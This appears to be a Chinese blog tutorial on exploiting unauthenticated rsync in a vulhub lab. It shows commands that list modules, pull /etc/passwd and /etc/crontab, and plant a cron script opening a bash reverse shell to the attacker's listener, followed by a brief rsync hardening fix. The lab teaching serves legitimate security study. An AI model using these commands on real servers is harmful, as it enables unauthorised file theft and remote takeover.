1.漏洞名称

Rsync 未授权访问漏洞

2.漏洞原理

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。 其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或 访问密码,我们将可以读写目标服务器文件。

3.漏洞利用

vulhub环境靶机 : 192.168.91.130

攻击机:kali 192.168.91.128

一、环境搭建

vulhub环境搭建

​ 在纯净ubuntu中部署vulhub环境:

​ 1、安装docker,并用docker -v命令验证安装结果;
​ curl -s https://get.docker.com/ | sh

​ 2、安装python-pip,并用pip -V命令验证安装结果;
sudo apt-get install python-pip

​ 3、安装docker-compose,并用docker-compose -v验证安装结果
​ pip install docker-compose

​ 4、将vulhub解压至ubuntu一个路径下:/vulhub-master/
​ 5、进入到相应的漏洞下,docker-compose up -d命令启动容器,使用docker-compose down命令关闭容器。
cd /vulhub-master/rsync/common
sudo docker-compose build //建立

sudo docker-compose up

二、Rsync非授权访问

可以对目标服务器进行扫描:

nmap -p 873 192.168.91.130

扫描结果:



Rsync非授权访问利用

查看模块名列表:

rsync rsync://192.168.91.130:873/

查看src模块

rsync rsync://192.168.91.130:873/src

结果如下:



可以看到目标机器的目录已经被列举出来了:

利用方法

下载文件

rsync -av rsync://192.168.91.130/src/etc/passwd /root/passwd.txt

执行结果:



上传文件反弹shell

查看crontab配置文件:

rsync rsync://192.168.91.130/src/etc/crontab

下载crontab配置文件:

rsync -av rsync://192.168.91.130/src/etc/crontab /root/crontab.txt

查看其内容:



其中

17 * * * * root cd / && run-parts --report /etc/cron.hourly

表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令

shell 写法如下:

#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.91.128/4444 0>&1

赋予执行权限:

chmod +x shell

将shell上传至/etc/cron.hourly

rsync -av shell rsync://192.168.91.130/src/etc/cron.hourly

本地监听:

nc -nvv -lp 4444

实验可以自己去修改/etc/crontab配置文件

查看docker容器 ID

docker ps



进入docker

sudo docker exec -it a6cb5e784225 bash



打开/etc/crontab配置文件(vim自己安装。。)

vim /etc/crontab

把时间修改成自己想要的就好



等待时间的到来即可。成功反弹shell

4.漏洞修复

vim /etc/rsync.conf

写入以下代码

hosts allow xxx.xxx.xxx.xxx
auth users = rsync
secrets file = /etc/rsyncd.passwd

新建一个文件

vim /etc/rsyncd.passwd

按一下格式写入能登陆的用户名和密码

username :password

就ok

Rsync未授权访问的更多相关文章

  1. Rsync未授权访问漏洞的利用和防御

    首先Rsync未授权访问利用 该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell. 我们具体来看配置文件的网相关选项(/etc/r ...

  2. (四)rsync未授权访问

    01 漏洞描述 rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口.由于配置不当,导致任何人可未授权访问rsync,上传 ...

  3. rsync未授权访问漏洞复现

    rsync未授权访问漏洞简介 rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口.由于配置不当,导致任何人可未授权访问r ...

  4. 【Vulhub】Rsync未授权访问漏洞复现

    Rsync未授权访问 Rsync简介 rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限.时间.软硬链接等附加信息 ...

  5. rsync未授权访问漏洞利用

    漏洞描述:rsync是Linux系统下的数据镜像备份工具,使用快速增量备份工具Remote Sync可以远程同步,支持本地复制,或者与其他ssh,rsync主机同步.也就是说如果你可以连接目标IP的r ...

  6. Rsync未授权访问漏洞的修复

    转自:https://www.cnblogs.com/KevinGeorge/p/9648028.html 配置文件/etc/rsync.conf解析: motd file -> motd文件位 ...

  7. rsync 未授权访问漏洞

    rsync rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限.时间.软硬链接等附加信息. rsync是用 &qu ...

  8. mongodb未授权访问漏洞

    catalogue . mongodb安装 . 未授权访问漏洞 . 漏洞修复及加固 . 自动化检测点 1. mongodb安装 apt-get install mongodb 0x1: 创建数据库目录 ...

  9. Redis未授权访问漏洞分析

    catalog . Redis简介 . 漏洞概述 . 漏洞利用方式 . 修复方式 1. Redis简介 Relevant Link: http://www.cnblogs.com/LittleHann ...

随机推荐

  1. 通过 call/cc 给 Ice 实现 Coroutine

    前两天给 Ice 加了 call/cc, 为此还重构了一波, 实现 call/cc 还是因为看了轮子哥的大专系列( 里边说提供 continuation 语言实现 Coroutine 起来很轻松, 后 ...

  2. 多端开发之uniapp开发app

    最近在给f做一些工具app,学习了不少关于uniapp编写android应用的知识. 首先,App应用的创建的时候要选择项目类型为uniapp类型.最开始我选择的是h5+项目,这种项目就比较容易写成纯 ...

  3. Vue2.0源码学习(1) - 数据和模板的渲染(上)

    准备 一.首先去GitHub上把vue源码download下来,传送门:https://github.com/vuejs/vue 二.搭建一个vue-cli跑起来,用于代码调试,不看着代码动起来只看源 ...

  4. 【高频Java面试题】简单说说JVM堆的内存结构和GC回收流程

    目录 前言 JVM堆内存结构简述 JVM堆内存结构图 堆初体验 结构详情 新生代 老年代 永久代/元空间 GC回收流程 GC回收流程图 GC回收详细流程 查看JDK自带可视化堆空间图 总结 前言 我们 ...

  5. vue实例中的watch属性

    watch 就是监听,当数据发生改变的时候就执行 data:{ num1:1, num2:2 }, watch:{ num1(newValue){ }, num2(newValue,oldValue) ...

  6. blender导入灰度图生成地形模型

    安装软件 在此处下载blender并安装. 添加平面 1.打开blender,右键删除初始的立方体. 2.shift+a选择平面添加进场景: 3.按下s键鼠标拖动调节平面大小确定后按下鼠标左键: 4. ...

  7. flask框架安装使用

    开篇 个人工作中需要用到flask,所以特地搭建了用一下,熟悉操作 一.centos云服务器环境下 falsk作为一个python的轻量级的web框架,基本上相当于一个内核,各种功能都需要扩展第三方来 ...

  8. k8s核心资源之:名称空间(ns)

    简介 是对一组资源和对象的抽象集合,比如可以用来将系统内部的对象划分为不同的项目组或者用户组. 常见的pod.service.replicaSet和deployment等都是属于某一个namespac ...

  9. [旧][Android] Retrofit 初步使用

    备注 原发表于2016.04.13,资料已过时,仅作备份,谨慎参考 Retrofit 是什么? Retrofit is a type-safe HTTP client for Android and ...

  10. 【C# Parallel】ParallelOptions

    ParallelOptions 构造函数 此构造函数用默认值初始化实例. MaxDegreeOfParallelism 初始化为-1,表示没有对应采用的并行度进行上限设置. CancellationT ...